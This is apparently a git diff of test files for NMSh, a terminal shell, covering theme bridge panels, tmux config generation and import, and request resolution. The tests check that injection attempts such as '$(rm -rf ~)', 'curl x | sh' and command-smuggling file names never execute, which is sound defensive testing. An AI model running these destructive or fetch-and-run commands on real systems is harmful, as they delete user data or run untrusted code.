+ assert.deepEqual(themeBridgeKey(state, {kind: 'right'}, following), {kind: 'setMode', target: 'fzf', mode: 'choose', theme: 'builtin:lavender'}); + assert.equal(themeBridgeKey(state, {kind: 'escape'}, on), undefined, 'Esc collapses first'); + assert.equal(state.expanded, undefined); + assert.deepEqual(themeBridgeKey(state, {kind: 'escape'}, on), {kind: 'close'}, 'then closes'); + // Global Follow: rows are view-only, with no editable affordance. + const follow = bridgeContext(true, 'follow'); + const view = createThemeBridgePanel(); + view.selected = itemIndex(view, follow, item => item.kind === 'target' && item.target === 'tmux'); + themeBridgeKey(view, {kind: 'enter'}, follow); + assert.ok(!panelItems(view, follow).some(item => item.kind === 'detail' && (item.row === 'mode' || item.row === 'theme')), 'no mode/theme editors under a global policy'); + view.selected = itemIndex(view, follow, item => item.kind === 'target' && item.target === 'tmux'); + themeBridgeKey(view, {kind: 'right'}, follow); + assert.match(view.message ?? '', /Switch Apply themes to Manual/u); + assert.match(plain(renderThemeBridgePanel(view, follow, 120, 60)), /Inherited/u); + // delta: shown, never expandable or editable. + const delta = createThemeBridgePanel(); + delta.selected = itemIndex(delta, on, item => item.kind === 'target' && item.target === 'delta'); + themeBridgeKey(delta, {kind: 'enter'}, on); + assert.equal(delta.expanded, undefined); + assert.match(delta.message ?? '', /status only/u); +}); + +test('/theme-bridge review all: combined review defaults to No', () => { + const state = createThemeBridgePanel(); + state.review = {items: [{target: 'tmux', label: 'tmux', state: 'needs-include', detail: 'Needs one reviewed include', action: 'include'}], previews: {tmux: ['+ source-file -q x']}, yes: false}; + assert.match(plain(renderThemeBridgePanel(state, bridgeContext(true), 120, 40)), /Apply 1 reviewed change\?\s+‹ No ›/u); + assert.equal(themeBridgeKey(state, {kind: 'enter'}, bridgeContext(true)), undefined, 'Enter on the default No changes nothing'); + state.review = {items: [{target: 'tmux', label: 'tmux', state: 'needs-include', detail: '', action: 'include'}], previews: {}, yes: false}; + themeBridgeKey(state, {kind: 'right'}, bridgeContext(true)); + assert.deepEqual(themeBridgeKey(state, {kind: 'enter'}, bridgeContext(true)), {kind: 'applyAll'}); +}); + +test('Setup Appearance: one Theme Bridge question (default No) reveals only detected tools; Theme Studio row reads Open ›', () => { + const setup = createSetup(normalizePromptConfiguration({})); + setup.section = sectionIndex('appearance'); + setup.context = {...setup.context, bridgeTargets: ['fzf', 'tmux']}; + const text = plain(renderSetup(setup, 120, 80)); + assert.match(text, /Theme Studio\s+Open ›/u); + assert.doesNotMatch(text, /custom themes/u); + assert.match(text, /Extend colors to tools\?\s+‹?\s*No/u); + assert.doesNotMatch(text, /^\s+fzf\s/mu, 'no target rows while the answer is No'); + setup.draft = {...setup.draft, themeBridge: {...setup.draft.themeBridge, enabled: true}}; + const yes = plain(renderSetup(setup, 120, 80)); + assert.match(yes, /fzf\s+Independent/u); + assert.match(yes, /tmux\s+Independent/u); + assert.doesNotMatch(yes, /Neovim|LS_COLORS/u, 'tools not found on this system are not listed'); + void setupKey; +}); + +function harness(config: object): {app: TerminalApp; frames: TerminalFrame[]; cleanup: () => void; directory: string} { + const isolation = isolateConfig(); + const app = new TerminalApp(); + const frames: TerminalFrame[] = []; + app['renderer'].render = (frame: TerminalFrame) => { frames.push(frame); }; + app['fetchSuggestions'] = async () => {}; + app['presentationStarted'] = true; + app['configuration'] = normalizePromptConfiguration({...DEFAULT_PROMPT_CONFIGURATION, ...config}); + return {app, frames, directory: isolation.directory, cleanup: () => { app['stop'](0); app['session'].kill(); applyUiTheme(undefined); isolation.restore(); }}; +} + +for (const panelPosition of ['bottom', 'top'] as const) { + test(`app (${panelPosition} panels): /theme sets a theme active through the normal save path; /theme-bridge turns a tool on and writes only NMSh files`, async () => { + const {app, frames, cleanup} = harness({panelPosition, onboardingComplete: true}); + try { + await app['runSlash']('/theme', parseSlashCommand('/theme')!); + assert.ok(app['themeStudio']); + app['render'](); + assert.match(plain(frames.at(-1)!.rows), /Built-in\s+Imported\s+Custom\s+Import/u); + app['themeStudio']!.selected.builtin = 0; + app['handleThemeStudioKey']({kind: 'down'}, app['themeStudio']!); + app['handleThemeStudioKey']({kind: 'enter'}, app['themeStudio']!); + assert.equal(loadPromptConfiguration().nmsh.palette, 'brand', 'saved through the normal configuration path'); + app['handleThemeStudioKey']({kind: 'escape'}, app['themeStudio']!); + assert.equal(app['themeStudio'], undefined); + app['bridgeFacts'] = Object.fromEntries(BRIDGE_TARGETS.map(target => [target, {installed: true}])) as never; + await app['runSlash']('/theme-bridge', parseSlashCommand('/theme-bridge')!); + const panel = app['themeBridgePanel']!; + assert.ok(panel); + const context = app['themeBridgePanelContext'](); + panel.selected = panelItems(panel, context).findIndex(item => item.kind === 'target' && item.target === 'pager'); + await app['handleThemeBridgeKey']({kind: 'enter'}, panel); + panel.selected = panelItems(panel, app['themeBridgePanelContext']()).findIndex(item => item.kind === 'detail' && item.row === 'mode'); + await app['handleThemeBridgeKey']({kind: 'right'}, panel); + const saved = loadPromptConfiguration(); + assert.equal(saved.themeBridge.enabled, true); + assert.equal(saved.themeBridge.targets.pager.mode, 'follow'); + assert.ok(existsSync(bridgeEnvPath('zsh')), 'the managed environment file exists under the NMSh config directory'); + app['render'](); + assert.match(plain(frames.at(-1)!.rows), /less \/ man[\s\S]*Follow NMSh/u); + } finally { cleanup(); } + }); +} diff --git a/tests/toolConfig.test.ts b/tests/toolConfig.test.ts new file mode 100644 index 00000000..1d130307 --- /dev/null +++ b/tests/toolConfig.test.ts @@ -0,0 +1,222 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {chmodSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import { + applyTmuxChange, bindingConflicts, DEFAULT_TMUX_MODEL, frontendCommand, optionProvenance, parseTmuxConfig, renderTmuxConfig, TMUX_OPTIONS, validateTmuxConfig, + type TmuxChange, type TmuxModel, +} from '../src/tools/config/tmux.js'; +import {writeTmuxManaged} from '../src/tools/config/tmuxManaged.js'; +import {TOOL_CONFIG_REGISTRY, toolConfigEntry} from '../src/tools/config/registry.js'; +import {createTmuxPanel, pendingChanges, renderTmuxPanel, tmuxPanelKey} from '../src/tools/config/TmuxPanel.js'; +import {applyHook, artifactPath, hookSpec, loadLedger, planHook} from '../src/themeBridge/artifacts.js'; +import {integrationHealth, type BridgeContext} from '../src/themeBridge/runtime.js'; +import {BRIDGE_TARGETS, type BridgeTargetId} from '../src/themeBridge/model.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {resolveRequest} from '../src/ask/resolver.js'; +import {stripAnsi} from '../src/util/text.js'; + +const sandbox = () => { + const root = mkdtempSync(join(tmpdir(), 'nmsh-toolcfg-')); + const home = join(root, 'home'); + mkdirSync(home); + return {root, home, env: {HOME: home, XDG_CONFIG_HOME: join(home, '.config'), PATH: process.env.PATH} as NodeJS.ProcessEnv, done: () => rmSync(root, {recursive: true, force: true})}; +}; +const apply = (model: TmuxModel, ...changes: TmuxChange[]) => changes.reduce((next, change) => { const result = applyTmuxChange(next, change); assert.ok(!('error' in result), JSON.stringify(result)); return result as TmuxModel; }, model); +const tmux = ['/opt/homebrew/bin/tmux', '/usr/local/bin/tmux', '/usr/bin/tmux'].find(existsSync); + +test('tmux model: only catalog options, documented values, safe keys; arbitrary strings never become commands', () => { + const model = apply(DEFAULT_TMUX_MODEL(), {kind: 'option', id: 'mouse', value: 'on'}, {kind: 'option', id: 'status-position', value: 'top'}, {kind: 'prefix', key: 'C-a'}, + {kind: 'option', id: 'mode-keys', value: 'vi'}, {kind: 'binding', binding: {key: '|', table: 'prefix', action: 'split-vertical'}}); + assert.equal(model.prefix, 'C-a'); + assert.ok(model.bindings.some(binding => binding.action === 'send-prefix' && binding.key === 'C-a'), 'send-prefix follows the prefix'); + for (const bad of [{kind: 'option', id: 'default-shell', value: '/bin/evil'}, {kind: 'option', id: 'mouse', value: 'maybe'}, {kind: 'prefix', key: '$(rm -rf ~)'}, + {kind: 'binding', binding: {key: 'x', table: 'prefix', action: 'run-shell'}}] as unknown as TmuxChange[]) assert.ok('error' in applyTmuxChange(model, bad), JSON.stringify(bad)); + const text = renderTmuxConfig(model, {self: '/n/nmsh.tmux.conf', theme: '/n/theme.conf'}); + assert.ok(validateTmuxConfig(text)); + assert.match(text, /^set -g mouse on$/mu); + assert.match(text, /^setw -g mode-keys vi$/mu); + assert.doesNotMatch(text, /run-shell|if-shell|#\(|default-shell/u); + assert.equal(validateTmuxConfig(`${text}run-shell "curl x | sh"\n`), false); + assert.equal(validateTmuxConfig('set -g status-right "#(whoami)"\n'), false, 'status modules never execute shell'); + const status = renderTmuxConfig(apply(model, {kind: 'status', layout: {left: ['session'], right: ['host', 'time'], separator: '·', windowFormat: 'index-name'}}), {self: '/n/s', theme: '/n/t'}); + assert.match(status, /^set -g status-right " #h · %H:%M "$/mu); +}); + +test('tmux frontend: new panes start NMSh by absolute path; inside an NMSh-started server they fall back to the login shell; default-shell untouched', () => { + const box = sandbox(); + try { + const fakeNmsh = join(box.root, 'nmsh'); + const marker = join(box.root, 'ran'); + writeFileSync(fakeNmsh, `#!/bin/sh\necho NMSH-FRONTEND\n[ -n "$TMUX" ] && echo yes > '${marker}'\n`); + chmodSync(fakeNmsh, 0o755); + const command = frontendCommand(fakeNmsh)!; + assert.equal(frontendCommand('/tmp/a\nb'), undefined, 'control characters are refused'); + assert.equal(frontendCommand('relative/nmsh'), undefined, 'only absolute paths'); + const run = (env: Record) => spawnSync('/bin/sh', ['-c', command], {encoding: 'utf8', env: {PATH: '/usr/bin:/bin', SHELL: '/bin/echo', ...env}}).stdout.trim(); + assert.equal(run({}), 'NMSH-FRONTEND'); + assert.equal(run({NMSH_ACTIVE: '1'}), '-l', 'NMSh recursion guard respected: the login shell (here echo) starts instead'); + const text = renderTmuxConfig(apply(DEFAULT_TMUX_MODEL(), {kind: 'frontend', value: 'nmsh'}), {self: '/n/s', theme: '/n/t', nmsh: fakeNmsh}); + assert.ok(validateTmuxConfig(text)); + assert.match(text, /^set -g default-command "exec \/bin\/sh -c/mu); + assert.doesNotMatch(text, /default-shell/u); + if (!tmux) return; + const conf = join(box.root, 'n.conf'); + writeFileSync(conf, text); + const socket = `nmsh-front-${process.pid}`; + const result = spawnSync(tmux, ['-L', socket, '-f', conf, 'new-session', '-d', '-x', '80', '-y', '10', ';', 'run-shell', 'sleep 0.5', ';', 'show-options', '-g', 'default-shell', ';', 'kill-server'], + {encoding: 'utf8', env: {...process.env, TMUX: '', NMSH_ACTIVE: '', TMUX_TMPDIR: box.root}}); + assert.ok(existsSync(marker), 'a new pane really ran the frontend'); + assert.doesNotMatch(result.stdout, /default-shell .*nmsh/u); + } finally { box.done(); } +}); + +test('tmux frontend: the NMSh path is argv data through both tmux and /bin/sh parsing; hostile names never execute', () => { + const box = sandbox(); + try { + const sentinel = join(box.root, 'PWNED'); + const names = ['plain', 'with space', 'semi;touch PWNED', 'amp&touch PWNED', 'pipe|touch PWNED', 'paren(touch PWNED)', 'dollar$(touch PWNED)', 'dollar$HOME', + 'tick`touch PWNED`', "single'quote", 'double"quote', 'back\\slash', 'lt', 'hash#x', "mix'\";touch PWNED;'"]; + for (const [index, name] of names.entries()) { + const dir = join(box.root, `${index}-${name}`); + mkdirSync(dir); + const nmsh = join(dir, 'nmsh'); + const out = join(box.root, `out-${index}`); + writeFileSync(nmsh, `#!/bin/sh\necho "$0" > '${out}'\n`); + chmodSync(nmsh, 0o755); + const command = frontendCommand(nmsh); + assert.ok(command, name); + const ran = spawnSync('/bin/sh', ['-c', command], {cwd: box.root, encoding: 'utf8', env: {PATH: '/usr/bin:/bin', SHELL: '/bin/echo'}}); + assert.equal(ran.status, 0, `${name}: ${ran.stderr}`); + assert.equal(readFileSync(out, 'utf8').trim(), nmsh, `${name}: exec'd the literal path`); + const text = renderTmuxConfig(apply(DEFAULT_TMUX_MODEL(), {kind: 'frontend', value: 'nmsh'}), {self: '/n/s', theme: '/n/t', nmsh}); + assert.ok(validateTmuxConfig(text), name); + rmSync(out); + if (!tmux) continue; + const conf = join(box.root, `t-${index}.conf`); + writeFileSync(conf, text); + const socket = `nmsh-adv-${process.pid}-${index}`; + spawnSync(tmux, ['-L', socket, '-f', conf, 'new-session', '-d', '-c', box.root, '-x', '80', '-y', '10', ';', 'run-shell', 'sleep 0.3', ';', 'kill-server'], + {encoding: 'utf8', env: {...process.env, TMUX: '', NMSH_ACTIVE: '', TMUX_TMPDIR: box.root}}); + assert.equal(readFileSync(out, 'utf8').trim(), nmsh, `${name}: real tmux pane exec'd the literal path`); + } + assert.equal(existsSync(sentinel), false, 'no injected command ran'); + assert.equal(validateTmuxConfig(`set -g default-command "exec /bin/sh -c 'touch /tmp/x' nmsh-frontend /bin/sh"\n`), false); + assert.equal(validateTmuxConfig(`set -g default-command ${JSON.stringify(`${frontendCommand('/a/nmsh')!}; touch x`)}\n`), false, 'trailing shell text is rejected'); + } finally { box.done(); } +}); + +test('tmux managed file: real tmux loads every setting; one include only; import reads a safe subset and never evaluates dynamic lines', () => { + const box = sandbox(); + try { + const model = apply(DEFAULT_TMUX_MODEL(), {kind: 'option', id: 'mouse', value: 'on'}, {kind: 'option', id: 'escape-time', value: '10'}, {kind: 'prefix', key: 'C-a'}, + {kind: 'binding', binding: {key: 'r', table: 'prefix', action: 'reload'}}); + const written = writeTmuxManaged(model, box.env); + assert.ok(written.ok); + const conf = join(box.home, '.tmux.conf'); + writeFileSync(conf, 'set -g history-limit 5000\nbind x kill-pane\n'); + const spec = hookSpec('tmux', box.env, box.home); + assert.ok(!('error' in spec)); + const planned = planHook(spec, box.home); + assert.ok('plan' in planned); + assert.ok(applyHook('tmux', planned.plan, spec, box.env).ok); + assert.ok('noop' in planHook(spec, box.home), 'running again never duplicates the include'); + assert.equal(readFileSync(conf, 'utf8').split(artifactPath('tmuxConfig', box.env)).length - 1, 1); + assert.ok(readFileSync(conf, 'utf8').startsWith('set -g history-limit 5000\nbind x kill-pane\n'), 'unknown user config preserved'); + assert.ok(loadLedger(box.env).entries.tmuxConfig?.hook); + if (tmux) { + const socket = `nmsh-cfg-${process.pid}`; + const result = spawnSync(tmux, ['-L', socket, '-f', conf, 'new-session', '-d', ';', 'show-options', '-g', 'mouse', ';', 'show-options', '-g', 'prefix', ';', 'show-options', '-s', 'escape-time', ';', 'show-options', '-g', 'history-limit', ';', 'kill-server'], + {encoding: 'utf8', env: {...process.env, TMUX: '', TMUX_TMPDIR: box.root}}); + assert.equal(result.status, 0, result.stderr); + assert.match(result.stdout, /mouse on[\s\S]*prefix C-a[\s\S]*escape-time 10[\s\S]*history-limit 5000/u); + } + const parsed = parseTmuxConfig('set -g mouse on\nset-option -g prefix C-a\nsetw -g mode-keys vi\nbind | split-window -h\nif-shell "true" "set -g mouse off"\nrun-shell ~/x.sh\nsource-file ~/.other\nset -g status-right "#(date)"\nset -g @plugin tmux-plugins/tpm\n'); + assert.deepEqual(parsed.options, {mouse: 'on', 'mode-keys': 'vi'}); + assert.equal(parsed.prefix, 'C-a'); + assert.deepEqual(parsed.bindings, [{key: '|', table: 'prefix', action: 'split-vertical'}]); + assert.equal(parsed.ignored.length, 4, 'if-shell, run-shell, source-file and #() are never followed'); + assert.ok(parsed.unsupported.some(line => line.includes('@plugin'))); + } finally { box.done(); } +}); + +test('provenance and conflicts: effective value, NMSh override, your config, tmux default', () => { + const mouse = TMUX_OPTIONS.find(option => option.id === 'mouse')!; + const user = parseTmuxConfig('set -g mouse off\nbind | split-window -v\n'); + assert.deepEqual(optionProvenance(mouse, DEFAULT_TMUX_MODEL(), user), {effective: 'off', user: 'off', source: 'your tmux config'}); + const model = apply(DEFAULT_TMUX_MODEL(), {kind: 'option', id: 'mouse', value: 'on'}, {kind: 'binding', binding: {key: '|', table: 'prefix', action: 'split-vertical'}}); + assert.deepEqual(optionProvenance(mouse, model, user), {effective: 'on', override: 'on', user: 'off', source: 'NMSh managed file'}); + assert.equal(optionProvenance(mouse, DEFAULT_TMUX_MODEL(), undefined).source, 'tmux default'); + assert.equal(bindingConflicts(model, user).length, 1, 'an NMSh binding over one of yours is shown, never silently removed'); +}); + +test('/tmux panel: tabs, changes stay in the draft, Review defaults to No, Status Studio preview, two owners stated', () => { + const state = createTmuxPanel(DEFAULT_TMUX_MODEL(), undefined, 'Independent', true); + tmuxPanelKey(state, {kind: 'right'}); + assert.equal(state.draft.options.mouse, 'on'); + assert.deepEqual(pendingChanges(state), [{kind: 'option', id: 'mouse', value: 'on'}]); + state.tab = 'status'; + state.selected.status = 3; + tmuxPanelKey(state, {kind: 'right'}); + const text = stripAnsi(renderTmuxPanel(state, 120, 50).join('\n')); + assert.match(text, /General\s+Keys\s+Status\s+Pane frontend\s+Import/u); + assert.match(text, /Preview · tmux status line/u); + state.tab = 'frontend'; + assert.match(stripAnsi(renderTmuxPanel(state, 120, 50).join('\n')), /different owners/u); + state.review = {lines: ['Mouse: on'], include: [], yes: false}; + assert.equal(tmuxPanelKey(state, {kind: 'enter'}), undefined, 'Enter on the default No applies nothing'); + state.review = {lines: ['Mouse: on'], include: [], yes: false}; + tmuxPanelKey(state, {kind: 'right'}); + assert.deepEqual(tmuxPanelKey(state, {kind: 'enter'}), {kind: 'apply'}); +}); + +test('registry: detection never grants write authority; only registered adapters are configurable; executable configs are inspect-only', () => { + assert.deepEqual(TOOL_CONFIG_REGISTRY.filter(entry => entry.configurable).map(entry => entry.id), ['tmux', 'starship']); + for (const id of ['neovim', 'vim', 'zsh', 'bash', 'fish']) { + const entry = toolConfigEntry(id)!; + assert.equal(entry.configClass, 'executable'); + assert.notEqual(entry.ownership, 'managed-fragment'); + assert.equal(entry.configurable, false); + } + assert.equal(toolConfigEntry('foo'), undefined, 'unknown tools have no adapter'); +}); + +test('Ask: tmux and provider requests map only onto typed actions; nothing changes before Yes', () => { + const context = {cwd: '/r', home: '/h', repoRoot: '/r', branch: 'main', dirty: false, worktrees: [], shell: 'zsh', defaultShell: 'zsh'} as never; + const action = (request: string) => (resolveRequest(request, context) as {action?: {kind: string; changes?: TmuxChange[]; setting?: string; value?: string}}).action; + assert.deepEqual(action('turn tmux mouse on')?.changes, [{kind: 'option', id: 'mouse', value: 'on'}]); + assert.deepEqual(action('change tmux prefix to ctrl+a')?.changes, [{kind: 'prefix', key: 'C-a'}]); + assert.deepEqual(action('put tmux status at top')?.changes, [{kind: 'option', id: 'status-position', value: 'top'}]); + assert.deepEqual(action('make new tmux panes run nmsh')?.changes, [{kind: 'frontend', value: 'nmsh'}]); + assert.deepEqual([action('use fzf for pickers')?.setting, action('use fzf for pickers')?.value], ['picker', 'fzf']); + assert.equal(action('use native suggestions')?.value, 'nmsh'); + assert.equal(action('make theme bridge follow nmsh')?.kind, 'themeBridge'); + assert.equal(action('update all integrations')?.kind, 'slash'); + assert.equal(action('import dotfiles from ~/dotfiles')?.kind, 'slash'); + const outcome = resolveRequest('change tmux prefix to $(rm -rf ~)', context) as {action?: {changes?: TmuxChange[]}}; + assert.ok(!outcome.action?.changes?.length, 'request text never becomes a key or command'); + const proposal = resolveRequest('turn tmux mouse on', context) as {safety?: string}; + assert.equal(proposal.safety, 'mutate', 'configuration needs Ask\'s final Yes/No'); +}); + +test('integrations health: tmux settings need the include; Review lists it; idempotent', () => { + const box = sandbox(); + try { + const facts = Object.fromEntries(BRIDGE_TARGETS.map(target => [target, {installed: target === 'tmux'}])) as BridgeContext['facts']; + mkdirSync(join(box.env.XDG_CONFIG_HOME!, 'nmsh', 'tools'), {recursive: true}); + writeFileSync(join(box.env.XDG_CONFIG_HOME!, 'nmsh', 'tools', 'tmux.json'), JSON.stringify({options: {mouse: 'on'}})); + assert.ok(writeTmuxManaged(undefined, box.env).ok); + const context: BridgeContext = {source: normalizePromptConfiguration({}), facts, level: 'truecolor', env: box.env}; + const health = () => Object.fromEntries(integrationHealth(context).map(item => [item.target, item])) as Record[number]>; + assert.equal(health().tmux.state, 'needs-include'); + assert.equal(health().vim.state, 'not-installed'); + const spec = hookSpec('tmux', box.env, box.home); + assert.ok(!('error' in spec)); + applyHook('tmux', (planHook(spec, box.home) as {plan: never}).plan, spec, box.env); + assert.equal(health().tmux.state, 'ready'); + writeFileSync(join(box.home, '.tmux.conf'), ''); + assert.equal(health().tmux.state, 'stale-include', 'a removed include is reported, not re-added silently'); + } finally { box.done(); } +}); diff --git a/tests/tools.test.ts b/tests/tools.test.ts index ebf66250..6fc56ac8 100644 --- a/tests/tools.test.ts +++ b/tests/tools.test.ts @@ -20,7 +20,7 @@ test('offline catalog, truthful filters and curated argv recipes do not execute state.query = ''; state.tab = 'installed'; assert.deepEqual(visibleTools(state).map(tool => tool.id), ['fzf']); state.tab = 'configure'; - assert.deepEqual(visibleTools(state).map(tool => tool.id), ['starship']); + assert.deepEqual(visibleTools(state).map(tool => tool.id), ['starship', 'tmux'], 'Configure lists only tools with a registered adapter'); assert.equal(toolInstall(TOOLS[0]!, false), undefined); assert.deepEqual(toolInstall(TOOLS[0]!, true)?.args, ['install', 'ripgrep']); assert.deepEqual(parseSlashCommand('/tools'), {kind: 'tools'}); @@ -149,9 +149,10 @@ test('Tools v2: long lists scroll with a factual "more" cue; narrow widths keep const state = createToolsPanel(); const rows = renderTools(state, 90, 18).map(stripAnsi); assert.ok(rows.some(row => /↓ \d+ more/u.test(row))); - for (let index = 0; index < 40; index += 1) toolsKey(state, {kind: 'down'}); + for (let index = 0; index < TOOLS.length + 5; index += 1) toolsKey(state, {kind: 'down'}); const end = renderTools(state, 90, 18).map(stripAnsi); - assert.ok(end.some(row => row.includes('›') && row.includes('Python')), 'selection stays visible at the end'); + const last = visibleTools(state).at(-1)!.label; + assert.ok(end.some(row => row.includes('›') && row.includes(last)), 'selection stays visible at the end'); for (const width of [20, 33, 45, 59, 61]) { const narrow = renderTools(state, width, 18); assert.ok(narrow.every(row => displayWidth(row) <= width), `@${width}`); @@ -323,3 +324,34 @@ test('integration activation: runtime evidence from the shell snapshot, separate assert.match(plain, /Shell\s+Active in this shell/u); assert.match(plain, /rc files are never read/u); }); + +test('the selected tool row is an unmistakable band that follows the selection, with color and without it', () => { + const saved = {NO_COLOR: process.env.NO_COLOR, COLORTERM: process.env.COLORTERM}; + const selectedRows = (rows: string[]) => rows.filter(row => row.includes('\u001b[48;') || row.includes('\u001b[7m')); + try { + delete process.env.NO_COLOR; process.env.COLORTERM = 'truecolor'; + const state = createToolsPanel(); + for (const tool of TOOLS) state.statuses[tool.id] = {state: 'missing'}; + const first = renderTools(state, 100, 40); + const band = selectedRows(first).filter(row => !/Discover/u.test(stripAnsi(row))); + assert.equal(band.length, 1, 'exactly one selected tool row'); + const label = visibleTools(state)[0]!.label; + assert.ok(stripAnsi(band[0]!).includes(label)); + assert.equal(displayWidth(stripAnsi(band[0]!)), 100, 'a full-width band, not tinted text'); + assert.ok(!band[0]!.includes('\u001b[38;2;125;133;144m'), 'no dim muted text on the band'); + toolsKey(state, {kind: 'down'}); + const moved = selectedRows(renderTools(state, 100, 40)).filter(row => !/Discover/u.test(stripAnsi(row))); + assert.equal(moved.length, 1); + assert.ok(stripAnsi(moved[0]!).includes(visibleTools(state)[1]!.label), 'the band moves with the selection'); + state.query = visibleTools(state)[3]!.label; + const filtered = selectedRows(renderTools(state, 100, 40)).filter(row => !/Discover/u.test(stripAnsi(row))); + assert.equal(filtered.length, 1, 'search keeps one clear selection'); + process.env.NO_COLOR = '1'; + const plain = renderTools(createToolsPanel(), 60, 30).filter(row => row.includes('\u001b[7m')); + assert.equal(plain.length, 1, 'NO_COLOR: reverse video carries the selection'); + assert.match(stripAnsi(plain[0]!), /^ {2}› /u); + } finally { + if (saved.NO_COLOR === undefined) delete process.env.NO_COLOR; else process.env.NO_COLOR = saved.NO_COLOR; + if (saved.COLORTERM === undefined) delete process.env.COLORTERM; else process.env.COLORTERM = saved.COLORTERM; + } +});